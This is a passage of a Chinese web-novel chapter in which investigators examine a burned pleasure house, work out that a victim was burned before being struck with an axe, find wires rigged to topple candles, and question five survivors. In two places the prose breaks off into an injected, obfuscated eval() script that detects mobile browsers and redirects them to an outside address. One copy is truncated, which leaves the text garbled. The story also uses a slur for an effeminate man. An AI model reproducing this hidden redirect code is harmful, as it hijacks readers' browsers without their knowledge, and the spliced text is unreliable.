“死者尸身于芳樱楼菊荷居被寻到,状如焦炭,体无完肤,然脖后一刀斧痕醒目不已,斧痕干脆狠厉,似蓄万千恨怨,被击者必死无疑。然拨开伤口,边缘碳粉多矣,内里死肉略干净,许是伤口开合度不大所造成。死因有二,被烧身亡,抑或是被斧击伤,难分前后,当皆有之。” “周裕之说李乾不是被他杀的,然斧伤、烧伤必有其一。”陶明案道。 魏郁春望了望四周被已经被烧得坍塌了大半的高楼围绕的空顶,冷静道:“李乾既是在菊荷居遇害身亡,而周裕之所在之地是融玉阁。若周裕之杀了李乾,便一定有行动的轨迹,弄清此处便可明辨他是不是在说谎了。” 她思路甚是跳跃,众人皆觉有理,旋即互相对视一番,开始行动。 “去找芳樱楼的分布图。” “我去东边看看。” 杜明堂看到东边景致还不算阴森,大半边都是靠着溪流的小景,虽然被大火烧秃了不少,但历经俩个月还是努努力长开了一片毛茸茸的草被——尽管看起来还是有种元气大伤后的潦草。 杜明堂背着手,手里还攥着一把他用来附庸风雅的金箔扇,他大步阔去,看似郑重非凡,实际上难掩悠哉偷懒之意。 章念很快就看出了他的计量,忙指道:“那本来是我要去的地方!” 毕竟其他地方浓雾极深,黑黢黢的碳混入飞尘,走一步都要被呛得半死,要论偷懒,当然没有比东边更好的去处了。章念也想偷懒,他自知身手奇差,本也想去东边,谁知道被杜明堂给抢了?! 章念要追上去,杜明堂摆摆手:“谁让你慢我一步?!” 陶明案总觉得章念跟杜明堂活似一见如故的冤家,碰一块儿保准斗嘴打架,岂能再让章念再追过去闹事? 他立马伸手出去,老样子把手掌箍在章念的脑袋上,任章念的小身板再疾行快走都无济于事。 章念不服:“陶司直,其他地方鬼气森森的,我才不敢一个人去!” 陶明案闻言,刚好抬眸触及魏郁春那一抹明媚之色。虽此姑娘胆量惊人,但也不好叫她自行出走的道理,连章念都需人保护,她应当也是需要的。 但她身侧还站着个门神似的人物——关阇彦。 欢门对南,进入其中便仅剩下眼前三路,东路,北路,还有西路。东路已被杜明堂占为己有,剩下两路只好俩俩搭配。章念这副样子定是要黏着自己的,若是放任他跟上杜明堂,说不定他还能找机会同魏郁春随行一道……此乃有些放任大局了,他难免为难。 他正在犹豫,关阇彦却已胸有成竹地开口:“也不知那该死的阳春菊还是不是潜伏在楼中,危机四伏,难免遭遇不测,章司务所言有理,不如两两一组。我看章司务跟陶司直更熟些,便只能委屈委屈冯姑娘随我一道了。” 陶明案:“……”被截胡了。 冯迎春抬眼,看到关阇彦跟她挑了一下眉,是不油腻,就是有些欠打。她赶忙扭过头去,当作没看见。 章念闻言,没长脑子般欢呼:“好耶!那陶司职还等什么呢,一起去西路吧!” 陶明案:“……嗯。” 语气是正常的,就是眼神有些念念不舍,纵然关阇彦摇身一变成了世人高不可攀的安南都督,在他这里还不是一视同仁,他只是觉得此人还是一如既往地惹人厌烦。 也许就是这种厌烦,又再度拉近了他们之间的距离,昨日隔着身份的冷漠和生疏竟是化作了冷雾,随着被日光照散的楼雾慢慢融化消失了。 关阇彦与冯迎春一起前去北路,刚好是与南门相对的楼内深处,撇去高而压抑的高楼,一切云开雾散,园林四野闹芳菲,但如今芳菲不见,唯有焦土。这是去往融玉阁的老路了。看来他们的主要任务就不在于研究李乾所在的菊荷居了,而是融玉阁这座周裕之害人的出发点。 二人接着依稀透过雾气散进来的晨光,寻觅路子,穿越一带又一带的路径,一弯一绕,移步换景,曾经去过的临溪亭在不知不觉间已经被甩到了身后。他们没得办法只能照着前方既定好的长廊,继续游走在这片奢侈的花园中,即便这里已经荒芜,却还是掩不住其生前雕栏玉砌时的曼妙身姿。 他们并无兴致,也无耐心,被牵着走完全是因为融玉楼无他路可走,其几乎被一圈溪水包裹,所以四面八方都有临溪亭,出了入门之地,还真没什么落脚地,除非不要命了往池子里面跳跃出去——然那池子经多月的日光曝晒却还是一副深不见底的样子,可见不浅。 问题就这样来了。 魏郁春郁结不已,她已被这处过度奢华而找不到路的宅子折磨许久了:“且不论菊荷居在何地,光是从融玉阁绕出去便要花费许久时间,周裕之身材臃肿,又贪生怕死,总不会是为了杀人而越栏跳水而去。” 关阇彦踩上栏下的石砌,往下看,已经变成臭水沟的池子宛若怪兽的眼眸,深渊而邪恶。 他半是调侃半是蔑视道:“他若是下去,岂不是要多条淹死鬼在这儿?” 他们终于重新绕回了房间门口,他们本欲换条路走,去西边找陶章二人回合,结果有一条通向出口的荷花塘上廊架在前方。出去后,几只洞门又拦过来,石洞门、花洞门……接着又是五花八门的花坛,分外繁杂,就是如此,还没真的走到融玉阁的出口。 事已至此,关阇彦也忍不住乱骂:“这厮是把自己当成大门不出二门不迈的大小姐了吗?!” 魏郁春难得赞成他一回,颔首不已。他们绕过花坛,被烧秃了头的一丛矮树丛深处走来两个一高一矮的身影,是陶明案跟章念! 章念聒噪,还在远处就大声招呼过来:“你们猜我们刚从哪里过来?!没错,就是另一处小园院,菊荷居!我们找到它了!” 不多时,他们四个人集合一处,陶明案思虑深重:“从菊荷居过来,纵使快步,少则也要一炷香时间。” 关阇彦补道:“那可不止,我与冯姑娘光是从融玉阁出来就得消上一炷香。” 魏郁春:“所以,一共应该是两柱香时间。如果周裕之要去杀人,至少得花两柱香时间赶过去。杀人也看乱局,火势已来,李乾难道在两柱香的时间内都逃不出去吗?” “李乾的尸身并未被人故意挪动过,他的确死在那里。所以他不可能是被人杀死后故意摆放在那里的。”陶明 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15447466|169444||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 案听出她的言外之意。 章念摩梭下巴,竭尽思绪,琢磨道:“所以李乾压根没出过菊荷居啊。” “难怪斧伤、烧伤二者皆有,李乾是先被烧死才遭遇砍杀的?!”章念脑袋瓜分外激灵,很快就找到了突破口。 “奇了怪了,到底是融玉阁先起火,还是菊荷居那边先起的火啊?周裕之怎么预判菊荷居那边起了火的,要不然也不能趁乱杀人啊?!” 陶明案听罢,也道:“按照案呈所写,应是李死在前,周裕之瞎眼提斧逃亡在后。所以在周找到李乾之前,李应该还活着。如果李乾是先被烧死后遭暗杀,那么一切在最开始的时候就都错了。” “如果周裕之那晚根本就不在融玉阁呢?” 魏郁春也认真开腔:“昨日古寨,周裕之虽一开始不承认他离开过融玉阁,可他后来的反应却暴露了一切。他说,他昨晚看到了诱引他的女鬼,还有披红纱的龟仙。我以为,或许是晚上阳春菊拿幻象引导周裕之离开过融玉阁,去寻了李乾。” 章念对这个念头持怀疑态度:“但周裕之后来还说他不认识李乾呀!现在一些证据也表明,杀了李乾的人不一定是周裕之。周裕之那晚可能离开过融玉阁,但没有去找李乾!” “周裕之怕死得要命,融玉阁明显更靠近出口吧?他不去逃命还要绕去菊荷居杀人吗?匪夷所思,难不成龙骨香还能逼人自尽的?!” 陶明案顿住,打断章念:“刘翁的确因龙骨香自缢,故而难说。” 眼看几人快要吵起来。 关阇彦当机立断:“查火势从何而来便可。弄清楚事发何处,就相当于找出阳春菊放火的起源在何处,火源在哪里,阳春菊便在哪里,到时候就知道他到底有没有引诱周裕之出去了。” 他说罢,却还是觉得心底悬悬的,灵机一动,一道久远的记忆塞入脑海。杜明堂在盘龙山跟他讲述楼火异闻时,是说“那庶子太可疑,毕竟有人亲眼看到他满脸是血,逃跑时也瞪着一双血眼,手里还挥舞着一把带血的斧子,疯疯癫癫的”,脸上手上斧子上都有血……如果李乾真是先被烧死才被砍刀的,焚身烧血之下,怎么会有这么多血? 可就算假设李乾是被周裕之砍死后才被烧死的,那仵作的爰书就不会写“然拨开伤口,边缘碳粉多矣,内里死肉略干净”了。 一块已被烤熟的肉,切开后深处当然还是鲜嫩多汁的,但如果此肉在此之前就被划了刀花,烤熟后刀口处应当悉数绽开,颜色也当与他处一致呈黑炭状。这是常识。 他想起那名仵作的判词就想笑。 什么什么许是伤口开合度不大所造成的,李乾明显就是那块先被烤熟后才被切开的肉!但凡是先被划了刀花送去烤熟的肉,甭管伤口开合度多小,都必定会皮开肉绽,撑死也就只有开绽的程度有区分罢了。 总结一下,周裕之身上的血其实都是阳春菊故意设下的障眼法,他想让别人知道杀死李乾的人就是周裕之,毕竟他那么恨他,岂不是想方设法陷害他? 那些骇人的血,说不定还都是周裕之自己的。倒是有些出乎意料了。 关阇彦无奈而同情地看了一眼险些被仵作坑了的陶明案,他迅速向他解释了一番他方破解的谜题。 然后又语气嫌恶道:“陶司直以后若还想继续办案,就赶紧把这位蹭饭的仵作辞退了去好。” 章念眨巴眨巴眼,竟对关阇彦绽放出崇拜的眼神。他道:“不愧是关都督!” 陶明案这次是真吃了个大瘪,他不怕被人比下去,只是讨厌被人故意显摆后又被压下去的屈辱感,他还不明白关阇彦的意思吗?跟昨晚搭桥时的一样,关阇彦其实就是在明里暗里逼他承认,他比自己优秀,更配跟魏郁春站在一起。 他起初还以为,关阇彦对魏郁春的感情就像那种无理取闹的占有感。 他时常故意逗弄魏郁春,还要特地惹她生气,博取注意力。他披着正经的皮囊却爱耍着顽劣的游戏又不是一次两次的事了。 一旦对比下来,才知道,关阇彦也就只喜欢待魏郁春这样,并且魏郁春也会因此只这么针对他。 这种区别对待,终于让愚钝的他看懂。 关阇彦是喜欢魏郁春的,只是貌似他还不肯承认,日日像只烦人的苍蝇一般在喜欢的人身边舞来舞去。 魏郁春是讨厌他,眼里却也真的只记得他了…… 陶明案落寞离去。 章念刚反应过来,还以为他是因为自己夸了别人两句生了气,连忙跟上去拍马屁:“陶司直你别难过啊!你也厉害!不,你更厉害!关都督不如你!!!” 说起来,众人聊得甚欢,貌似忘却了还有杜明案这号人。 若非关阇彦想起盘龙山的事,估摸到现在还想不起来他的存在,当真是人如空气,来跟没来没区别。 124. 凿洞引火 既有了要查火势的打算,就不能半途而废。然四人归位,未见杜明堂,关阇彦潜心办案,作为唯一一个还记得杜明堂的他,再一次把杜兄抛掷脑后了。 此时,杜明堂已在东路溜达半天,除了看溪水里的死鱼卖呆外,还真就没什么事干,他不是不想回去,而是他迷路了。 他以为其余人会回来寻他,索性席地而坐,靠着岸边的巨石补觉去了,甚是安逸。 另一边,四人忙得不亦乐乎,寻着种种蛛丝马迹,找到火势最为严重的区域,便是进入欢门后就引入眼帘的硕大一片门客所滞留的主体高楼。高楼原本建有高顶,如今坍塌了个尽。四人跨入黑色漩涡般的地界,仰望半边还倔强地吊挂在上摇摇欲坠的藻井。 主体花楼不同于那些贵人们一人便能包下一整片的园林院子,对于一些虽然无权无势但有些闲钱闲情的人们来说,这座大楼就是他们的理想之地,既能凑上热闹,还能包下一间雅间与看上的女子行云雨之乐。 第一层是大厅,中央一大片是铺着上好锦缎的空地,中央平地砌了只高高的擂台,擂台边上设了红栏,擂台上方吊顶处还挂着好几片红黄蓝绿相间的薄纱,朦朦胧胧地半掩在擂台边缘,将此地围成了一处外人不可亲近的鼎盛繁华地。 如今锦缎薄纱化作焦炭,依稀还有一些侥幸存活的碎片还沧桑地落在吊顶的边缘,倒是擂台还未倒,抬首望去,竟有一个成年男子的身高,擂台边缘还镶嵌了象牙华雕,可见造价不菲。擂台上,前世女子们挥舞披帛、抱琴吹笛的盛京仿佛也已在眼前闪烁。难以想象曾经的芳樱楼是多么地奢靡无度。 一楼不封顶,整个向上三四层的地方纷纷设了围栏和悬梯,向下俯视,皆可看擂台之上的表演。上面那些多是一间隔着一间并起来的房间,都是客人居住的地方。 唯一的高顶被掀翻了,外面晴光已下,四面八方的房间都黯淡无比,唯有中间之处光明无比,刚好对照着擂台。 章念抱着包包,向上仰望,不禁感慨:“好像个天井。” 四人寻找上楼的办法,两天长长的弯绕式扶梯建在大厅最两端,东端的扶梯已经塌陷,不能再上,来到西端,情况好些,扶梯塌了一半。关阇彦上去踏踏试水,发现木板内部空心,每走一步都需小心翼翼,即便如此,他的重量摆在哪里,扶梯还是不堪称重,哀怨地“吱呀吱呀”几声,他已经身处半空,不禁手心冒汗,因为稍有不慎他便会从此地摔下去。 索性情况还算顺利,在楼下三人殷切目光的注视下,他不算轻松地到了二层,但他并不建议剩下来的三人再跟上来,因为扶梯必定会塌,它最多也只能再承受一俩次他下楼的重量了。 “你们留在下面,扶梯将塌,莫要犯险了。” 章念一开始盯那扶梯的样子就心慌,一听此话如蒙大赦。他赶紧跟楼上的关阇彦招手:“好呀好呀!” 陶明案有些沉默,显然他也是想上去的。 关阇彦又道:“陶司直也莫要不乐意了,大不了待会下来把结果分享给你就是了。” 他言语讥诮,好似在笑话陶明案的事事计较,但这本就是无中生有的事。 陶明案皱眉不爽:“关兄去便好了,再这里耽搁又耽搁岂不是怕了?” 章念跟魏郁春闻言纷纷瞪大双眼瞧他,没想到这种讽刺意味的话语,还能从陶司直这种说话做事从不拐弯抹角的人嘴里发出来。魏郁春慕地回忆起自己曾经的模样,她倒不是跟陶明案一样直来直去,而是她根本就不乐意开口讲话。自从遇到关阇彦后,就变得也爱说起骚话来。 如今一看,不仅她一个人如此,陶明案竟也是被同化了。 魏郁春叹息,得阻止这种情况继续下去,于是打断道:“陶司直,你不是还打算将芳樱楼的幸存者重新聚回来吗?既然此地无我们的用武之地,不如提前去做好别的准备。” 陶明案在跟章念去找菊荷居的时候,心里惴惴不安,总觉得阳春菊此人还藏在废墟的某个角落默默偷窥他,便越想更早抓住此害虫。 他们二人逛完一圈又遇上魏郁春跟关阇彦,都表示此地无人,他又一直觉得阳春菊是分外了解芳樱楼的人,说不定就是此楼的人,刚好,大火后的确还有被遣散走的幸存者,这不,他就有了将幸存者重新聚回来的想法了。 他当时只在路上跟章念交流了几句,未想到竟也被同行的魏郁春捕捉到了,他还是有些意外的。 他觉得魏郁春此话有理,道:“冯姑娘所言极是。” 旋即,三人迅速绕了出去,关阇彦还没来得及挪步,就发现下面已经没了人影。 就这么走了? 还有,冯迎春刚才是什么意思?她这么嫌弃他的? 他一时想着跟陶明案斗气,竟一不小心给他制造了跟魏郁春接触的机会。他语塞,一时不知该说自己聪明还是愚蠢。他从前办事可是从不允自己出现纰漏的,这次居然失手了,真是怪了。 事到如今,他只好孤身潜入被大火燎过的屋子,他从左手侧第一间屋子开始寻起,一间一间往右挪,起初还需要特地出门一趟再重新进入另一间屋子。但越是往后,屋子就越是破败,以至于厢房之间隔着的黑糊糊的墙已经被推倒了大半,他只消在墙壁缺漏的地方插手过去,轻轻一拨,墙壁就能碎掉。 连续两三次下来,他总觉得背后空荡荡,好似有阴风灌入,他回身过去,才发现,不知不觉之间,身后已经被他贯通开了一整条大路,也算一样壮举。 奇怪的还有,这一大连片的屋子的火势出奇得一致,都是从床榻边的烛台起烧,所以床榻那处的模样最为凄惨,并且那些用镀银的铁具支撑的烛架子都往一个方向倒塌。 他快步走去,想要从乌漆嘛黑的黑粉里将倒塌的烛架扶起来,那烛架做工虽繁复,但内里却是中空的,他手劲不错,提起来应是轻轻松松的事,但那一瞬间,他却感到了一股难以抵挡的拉拽力在跟他作对。 他攥住铁架,回拉,发现了一条绑在其跟部的特质铁线,此线隐蔽,没有绑在外侧,而是沿着架子底部中空的眼儿往上爬,固定在了顶端。这些铁线极其长,不知系在何处,他为寻源头又用力向身后拖拽,竟听到了隔壁屋子烛架拖曳时摩擦底面的声音,紧接着,隔壁的隔壁也传来,接二连三,挨个传递过来…… 关阇彦心感怪异,将被烧了个粉身碎骨后上面还印了死人焦皮的床榻拉着往后,发现被床脚遮住的墙角边缘上果然有个大概一根拇指大小的孔洞,洞里面延出来的铁线就是深入烛架里的那根。 他跑回隔壁,发现那里的烛架果然也被做了手脚——一模一样的手脚,不仅如此,同样的地方也有一样的孔洞,那些铁线平时被埋在房间墙壁边缘的缝隙里,鬼鬼祟祟爬上烛架,又神神秘秘钻进孔洞,继续埋入缝隙,攻击另一个房间的烛架。 这些手脚如果不有心观察,是绝对看不到的。 他快步将这个方向的十来个厢房都一一检查了一遍,发现芳樱楼内的这些客房们的布置都是出奇得一致,床榻跟烛台摆放的地方也是一致的,孔洞、铁线也是一致的。 好了,他终于弄明白为何芳樱楼那晚大火会起得如此突然浩荡了——毕竟很多客人都没逃出火海,见屋内的情况,死尸甚至大多数在生前连自个儿屋子的门槛都没成功踏出去,他们并非不想出去,而是根本来不及——火种自烛上而来,凶手只需藏在暗处勾勾手指,便可将整片屋子所有的火种打翻,所有屋子同时着火,所以火势当然又快又急了。 同时,他发现凿出孔洞的器物是比较特殊的,否则难以在仅仅只打出一个小洞口的情况下,对墙壁造成这么深的冲击——要知道,每只隔墙都是用三排砖砌成的。 这件事看似很小,但实际上一点都不好做,因为凿洞的时候,还要避免被隔壁的客人发现异常。 所以,除了动手人的精湛技术外,工具也一定是特殊的,这种东西市面上可没得卖,只能定制。 关阇彦拐出门去,去其他方向排列的屋子,发现尽头两排往不同方向延申的屋子的衔接角处,也是布置了机关的,铁线未曾断过,竟是也拐了个弯儿去将其他更多的烛架衔接起来。也就是说凶手为了让这场大火顺利爆发出来,他将这等精密的机关几乎布置到了整座芳樱主楼内,而他只消在固定的地方远端操控,哪怕屋子分布在四面八方,他也依旧不受阻碍。 好厉害的技艺。 他不禁感慨,同时也想起来婚宴当夜,他亲眼看到阳春菊用丝线牵引灯偶的画面,都是用线,都是远程控制,真是相似。 还有,芳樱楼这种地方都是防守很重的,钝器利器皆不可带入,客人若想进入欢门就必须接受搜身,所以凿洞所用的器具只可能是芳樱楼内部人士的东西。说来说去,还是阳春菊。 他眉头紧锁,已将嫌疑重大的阳春菊当成了罪不可恕的对象。 他将整个二层都转悠了一遍,大部分房间都是他方才发现的情况,少部分因为坍塌抑或是彻底焚毁,他无法踏入,故而未寻规律,但想来,他也没那个耐心继续追究下去了,默认为这些屋子即便还完好,也应是同样的状态。他扫了一眼头顶,还有三层四层他未上去。 他们的焚毁情况与二层一层大差不差,不难想,上面也布置了什么引火的机关。眼看他站在二楼的时候,脚底下的砖板都虚虚浮浮的,承重力奇差,要是还上去,定会吃力无比。 他索性下了楼去,此时已经过去了将近一个多时辰,也不知道陶明案他们人跑去了哪里,他在鬼气森森的楼里几乎听不到外头任何声音。 说实话,他就是不太放心,总感觉陶明案那小子会趁虚而入。 他快步出去,外面天晴,他在阴暗的楼里逛久了,一时对这种光亮敏感了许多,小小失明半刻。等他眨过眼来时,站在欢门外的魏郁春刚好听见脚步声转回了脑袋。 绚丽的日光把她的发丝和眼眸照得萤亮亮的,她眸子进了光,竟显得比平时活泼跳跃了许多。 她好似也很诧异关阇彦跟她对了视,一时怔住,可能有些尴尬,便又侧近来一点身子,手上抓了两只被油纸包住的包子,好似在示意让他过来吃早膳。 忙活了这么久,关阇彦怕是也忘记了还有这桩事,他过惯了饭来张口衣来伸手的日子,就算上战场日子过得苦,他也是能完全不计较吃穿用度,胡乱填肚子过日子的奇人。 办正事时忘记吃饭简直是常有的事。 魏郁春出现的时机甚巧,他心底有说不清楚的情愫,貌似突然变得很是依赖这段隔着一条石板路互相对望的时光。他低眉轻笑,仿佛很是春风得意,因为魏郁春一看就是特地给他留饭的样子。 他朝外头走出去,方要口吐几句漂亮话,听到了章念囫囵的声音。 章念吞包子吞得狠,一直没空说话,人又站在墙外,关阇彦在楼里头的时候还看不见他。 此时,他专心致志吃饭,突然看到关阇彦出来了,他好像还知道要留点脸面给自己,赶忙拿袖子抹嘴巴,呜咽呜咽道:“哎!都督你出来了?” 陶明案正在章念旁边,靠着柱子,一边注视巷外的车来车往,一边也抓了一只包子,慢慢啃着,他看到关阇彦,冷漠地跟他招了个手。 关阇彦眉心抽搐,原来他们都在,包子也是人人都有的。 他仿佛还不信邪,然后盯着魏郁春手里方才抓着的两只包子,指了指。 魏郁春毫不留情地把包子往身后藏了藏,竟是小气巴拉道:“想吃你得自己去买,我们也是刚忙完回来,铺子上排了许久的队。” 关阇彦莫名生气:“那你方才干嘛要在我眼前招呼?” “怕你觉得我在偷懒,”魏郁春眨眨眼睛,无辜道,“知会你一声,我们刚回来,在吃东西。” 章念猛地颔首,然后道:“这个的确好吃,不枉我们排这么久的队。” 从不对自己上心的关都督彻底恼了,别说是包子了,就算是一粒白米,今天他要不过来,他都不叫关阇彦。 “你们只顾着自己,未曾给我带上一份?” 陶明案淡然:“都督贤身贵体,买来了怕是不合您口味。” 关阇彦根本听不进他的话,他一手负于背后,一手快准狠地往魏郁春身后抄去,言辞疑似气不顺:“不行,你的包子归我了。” 他活似被抢了玩具的小孩,行为幼稚,但却还要保持着那股在外头张牙舞爪的严肃劲。 魏郁春往后退步去,眉目间的稳重仿佛泄了气,她的面色愈来愈开朗,不仅是她,章念跟陶明案也忍不住笑了起来。陶明案举着包子半掩嘴角,不想别人看破,而章念则是抱着包子哈哈大笑,嘴里的碎肉差点要喷出去。 魏郁春主动松了手,让两只包子自然而然被关阇彦拿了去。 关阇彦皱眉,火气是不见了,但是心情还是不大美丽,他慎重回来,只觉诡异,道:“你们耍我?” 章念看戏不嫌事大:“这肉包子最贵不过两三文钱一只,也就我和陶司直这种底层小官糊口的东西。听说你们贵人平日里看都不看这一眼。但没想到,冯姑娘倒很喜欢这个口味。路上又回来得急,省得还要另买什么,便顺便带了关都督您那一份了。不过冯姑娘说恐怕不合您口味,所以就略施了一下激将法。” 说罢,他还那手指比划了比划,拇指和食指掐起来,的确是“略略”一下子。 关阇彦冷笑一声,抓了包子咬了一口,还是热乎的。他盯了魏郁春那副义正言辞之样,完全不像做了坏事的模样,倒是像方报了什么仇似的自洽样子。 魏郁春不是没有亲眼见过他吃食寒酸的样子,她说出那些话给旁人听,就是故意误人子弟了。而他就知道,除了魏郁春,谁有这胆量很心机去整蛊他? 至于章念,他估计还真就信以为真,把此事当成了有趣儿的小插曲看待。 陶明案就不好说了,他那淡淡的笑容比任何幸灾乐祸的表情还有代表性。 他俩心里门清,怕是合起火来诓骗章小兄弟一起加入他们,对自己报仇出气回来了。 算了,包子味道不差,没什么损失。 魏郁春能成功也是多亏了她了解自己,这也不算什么坏事,他自我和解,竟一点都不跟魏郁春置气。 魏郁春居然有些失望,好似一只拳头打在了棉花上那般。他最近总是这样,不管她做什么,他好似都能竭力包容下来。 相比从前,她什么都不做,反而会被莫名扣上个帽子,被撒上一顿气。真是奇怪…… 午后,大理寺那边之前搜罗过的名录出来了,照着名录,陶明案利用职权发了通告,果然很快就将幸存者们都聚集到了楼内。他要这些人自备被褥,在楼中住下一夜,他们还搜罗出一处叫做“重梅轩”的偏远院子。 因为偏远,所以被大火波及的程度自然要小很多,此地种了满院的梅,一半梅花树被烧了,另一半被藏在院后的则还幸存,还是夏日,梅花树长着与其他树一样的叶子,显得平平无奇。所以这个院子除了在冬日,都是个没人愿意来的下阶园,难怪建得偏。 院子不小,横排竖排都安置了大概十间屋子,最中间的三只屋子分配给四人组,其他的挨个儿分配给五个幸存者,一人住一个,最后还剩下了两间屋子。 关阇彦看着那两间吊在院子最深处的尾巴空屋,突然眼眸睁大,又一次意识到杜明堂的失踪,他看着陶明案和章念正在张罗五个幸存者排排站好,马上就要开始挨个问询,这种关头,任何人都挪不开步子。 一整个上午都未曾看见人影,杜明堂该不会还留在东边吧?那小子怕是迷路了……关阇彦很是了解他。 罢了,他若是迷路,剩余的人也难寻得到他,毕竟时间短,地段也生疏。他要是着急定是会大喊救命的,不会像现在这样无声无息,现在所有的嫌疑人都在眼前聚集,不怕阳春菊溜出去祸害人,所以,杜明堂当是躲哪里去睡着了。 睡吧睡吧,来了大概率也不会帮上多少忙。 此时四个人里,就有章念跟魏郁春没有防身的功夫,再多一个甚是麻烦。关阇彦心想,不如眼睛毒些,把眼前五个幸存者盯紧了,这才是真正保人命的大事。 想罢,他快速回归状态,跟身侧的魏郁春一起走近幸存者们。 想到这些人都不可能见过安南都督真容,关阇彦便没有再覆上面具,并且他想到,阳菊花应当是唯一一个记得他容貌的人,毕竟有过交手的经历。 他以真容对付,反而更容易试探出伪装在其中的阳春菊。 现在,听幸存者自己介绍,五个人里面,三个龟/头伙计,俩矮一高,高的叫做兰花,名字女性化,行为举止也女性化,实实在在的大娘炮,性取向也有点问题,因为瞎子都能看得出来,兰花在关阇彦还有陶明案俩个俊俏面庞上既纠结又流连忘返的表情。此人犹豫片刻,觉得还是关阇彦那张傲气的脸蛋更符合他的品味,旋即盯着关阇彦死死不放,时不时还要白眼一下关阇彦身侧的魏郁春。 魏郁春:“……?” 关阇彦:“……” 他对兰花印象很差,此人特性跟阳春菊相似,本质男人,实际上却是个披着男人皮的娘炮。所以,他在恶心之余,也对兰花留有特别的关照。 章念憋着笑,差点要笑晕过去。 另外俩个龟/头伙计,个头都矮,比章念小兄弟还要矮上半个头,估摸六头身多一点,整体形象看起来有点局促。 此二人性子都唯唯诺诺,连抬眼看人的勇气都没有。其中,脸上长了雀斑、豆子眼的伙计,叫做吴言,年仅十五岁。另外一个比吴言还要胆小的却生得十分秀气,骨架又小,虽然身材局促,但却有种小姑娘家的气质,此人也是十五岁,名叫阿卟。 除了□□伙计,还有俩个人则是教坊司的女倌。两名女倌,一个像淡雅的雏菊,一个则明媚张扬似玫瑰。果然,两人名字的确是一个念雏菊,一个念玫瑰。 自从楼灭,她们没了活计,积蓄也被大火烧去,两人相依为命,穿着也是朴素,雏菊一身白花花的素衣,而玫瑰穿了染了朱红色的布衫。 二女子之前都是头牌人物,芳樱楼出事当晚,她们之所以能出去,都是被贵客用了大价钱从妈妈那边请出去陪夜的。所以即便如今落魄,骨子里的劲儿却是半分不减,她们虽怕,但不至于像吴言和阿卟那么怕。 章念初印象是,首先排除雏菊和玫瑰二位女子,阳春菊是个实实在在的男人。其次,排除胆怯懦弱的吴言和阿卟,此二人的怕不是装出来的,而且他们个子很矮,哪里像阳春菊? 倒是头号嫌疑人,兰花这个死娘炮……虽然很符合阳春菊的特性,但怎么像个没脑子的货? 阳春菊……真的是他们五个人之一吗? 他嘴角抽搐,凑到陶明案耳边道:“司直,你确定没有其他漏网之鱼吗?” 陶明案也迟疑,但不得不说:“没有了,五个人,一个都不少。” “阳春菊……真的是他们里面的人?说不定不是内部人士,我看都不像啊!” “别的说法也讲不清,阳春菊八成是其中之一……先不要落井下石,有些人是很会演戏的。” “今晚就见分晓,也不亏啦。” “嗯。晚上布局,先拿关阇彦早上搜出的凿洞线索敲打一番,那具无名的幼女尸体也会派上用场,届时总会诱引阳春菊主动现身的。” 章念心里踏实了,他拍拍手掌,回到陶明案的身后。 关阇彦那头,已经着手调查案子,排除两个女倌,他先质问其他龟/头伙计:“你们三人,芳樱楼走水当夜,都出去做什么了?!” 兰花首当其冲,给他抛了个媚眼,理直气壮道:“哼,这位哥哥真会说笑,还能去干什么?当然是陪男人了!” 这话听得关阇彦登时犯怵,他眉头有些扭曲,刚要开口的吴言和阿卟不敢说话了。 他压声看向身侧纵观全局的魏郁春,无语起来:“不是伙计吗?陪什么男人?!” 魏郁春心想这的确是个难以启齿的知识点,她不得不将自己的脸遮起来,小声讷道:“都督有所不知,芳樱楼这种花楼不似寻常酒馆青楼,不养普通伙计……这些人自幼进入楼中,进行培训,给年轻的女子传授房事,锻炼那方面的本事,坊间常常戏称此人为龟/头伙计,来花楼的男人,断袖之癖大有人在,所以,长大后的伙计也可陪客。” 像吴言和阿卟这种年纪还小的男子,应该还在培训期间……从小到大,不敢想象他们到底做了多少次那种事……可他们还是个孩子,生得甚至还有些楚楚可怜的意味…… 关阇彦头一次觉得自己当真是不食人间烟火久了,这等事情他头一次听说,显然还没反应过来。 魏郁春只好代劳,她语气平静,甚至有些冷淡:“吴言和阿卟你们呢?” 吴言红了脸,而阿卟则是默默躲到了他身后,看不清他什么神色。 “……陪……客。” 魏郁春:“……” 空气中弥漫了尴尬的气味。 魏郁春强颜欢笑:“你们三人如何证明?” 兰花:“京城大名鼎鼎的荣德伯听说过没?断袖!你们大可去查嘛。” 陶明案揉揉眉心:“嗯,兰花公子今日过来也是从荣德伯府中过来的。” 难怪他是五个人里面过得最好的!敢情是早就被包养了! 关阇彦皱了眉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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一旁的雏菊拉着她的手,让她不要冲动,以免遭人怀疑。 吴言和阿卟一边叹息,一边道:“……也……不可能是我们的。” “意料之中,”关阇彦大方承认,说道,“所以让你们在这里住一晚上就好了。” 玫瑰姑娘不解:“为何住一晚上就能见分晓?难不成会来杀我们不成?公子,你可要说明白了。” 陶明案主动站出来,将一只册子从章念怀里抽出来,道:“周裕之所住融玉阁内有一只埋葬数十只具女尸的尸坑,你们可有所耳闻?” 雏菊跟玫瑰闻言脸色霎时间就变白了,本就未施粉黛的脸变得宛如一张白纸。她们嘴巴嗫嚅,但好似被什么封印堵住了口舌般,支支吾吾半天一句话都说不出来。 陶明案为她们扫除顾虑:“姑娘不必害怕,周裕之如今下落不明,你若帮我们断案,我们才可将其抓捕落网。若是有意遮掩,周裕之便还有重出江湖的一日,对我们所有人都不利。” 雏菊叹息:“这……” 玫瑰扭曲了半天面容,终是抓着裙摆,难言起来:“太恶心,我们不是不敢说,是不想说。” 